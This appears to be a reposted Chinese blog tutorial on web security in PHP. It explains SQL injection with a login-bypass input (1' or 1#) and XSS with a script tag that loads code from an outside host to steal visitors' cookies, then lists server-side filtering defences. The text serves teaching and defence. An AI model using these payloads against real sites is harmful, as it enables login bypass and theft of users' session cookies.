博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
网站安全
阅读量:4708 次
发布时间:2019-06-10

本文共 941 字,大约阅读时间需要 3 分钟。

1.SQL注入:(如果是这样写的话)

$username=$_POST['username'];

$password=md5($_POST['password']);
$sql="SELECT * FROM user WHERE username='$username' AND password='$password'";

表单传来的用户名是 1' or 1#,那么放到SQL语句后,就变成了(#表示注释,把后面的注释掉了,那么这样网站就被注入了):$sql="SELECT * FROM user WHERE username='1' or 1 # AND password='$password'";

所以,一般把上面的话变成两句话:先通过username查找,然后再比较password

2.XSS(跨站脚本攻击)

用户提交表单时如果表单中包含不规则的HTML代码或者JS代码的话,会影响页面的功能以及效果。

两种形式:a.html代码

这种攻击通过输入一个不规则的HTML代码导致页面乱了。

b.js攻击

 

可以偷访问这个网站的人的COOKIE数据。

 

这个JS可以把浏览器中的COOKIE发到admin.28.com(你本地的一个文件)上去

 

首先在评论框中写入一段js:(相当于在这个网站上挂了一段js代码abc.js)

 

<script src=http://admin.28.com/abc.js></script>

 

本地Abc.js这样写:(这样就可以把访问这个网站的用户的COOKIE发到本地文件中)

 

3.那么我们应该怎样做?

  1. 一定要在服务器上过滤,不要相信客户端

b. 不能使用htmlspecialchars函数统一过滤,我们要有选择性的过滤,只过滤掉字符串中有危险字符。

需要过滤的主要是:

  1. <script>中的内容(JS)
  2. 标签上的事件,如:<div οnclick=”xxxx”>里的onclick事件等等。

我们可以自己写也可以使用网上现有的:

  1. tp框架中有一个函数:remove_xss
  2. 有一个开源产品:htmlpurifier
  3. 网上找些简单实用的

 

转载于:https://www.cnblogs.com/hupengyin/p/4444644.html

你可能感兴趣的文章
tf.reduce_mean
查看>>
IDA相关下载
查看>>
[Codeforces] #441 div.2
查看>>
BusHelper
查看>>
数据整合构思
查看>>
pandas所占内存释放
查看>>
MySQL关于TYPE和ENGIN的一点问题
查看>>
工作中的一些问题总结
查看>>
母猪的产后护理——一些零碎的知识
查看>>
你所不知的 CSS ::before 和 ::after 伪元素用法
查看>>
POJ 3666 Making the Grade
查看>>
Codeforces Round #352 (Div. 2) A. Summer Camp 水题
查看>>
Entity Framework 更新数据库 datetime 类型的问题 从 datetime2 数据类型到 datetime 数据类型的转换产生一个超出范围的值。...
查看>>
Vue.js 基础学习之自定义指令
查看>>
[Hadoop]-HDFS-架构篇
查看>>
异常(Exception)
查看>>
解决JS事件冒泡兼容性问题
查看>>
jQuery getScript跨域
查看>>
Python基础(一)
查看>>
Hadoop 版本说明
查看>>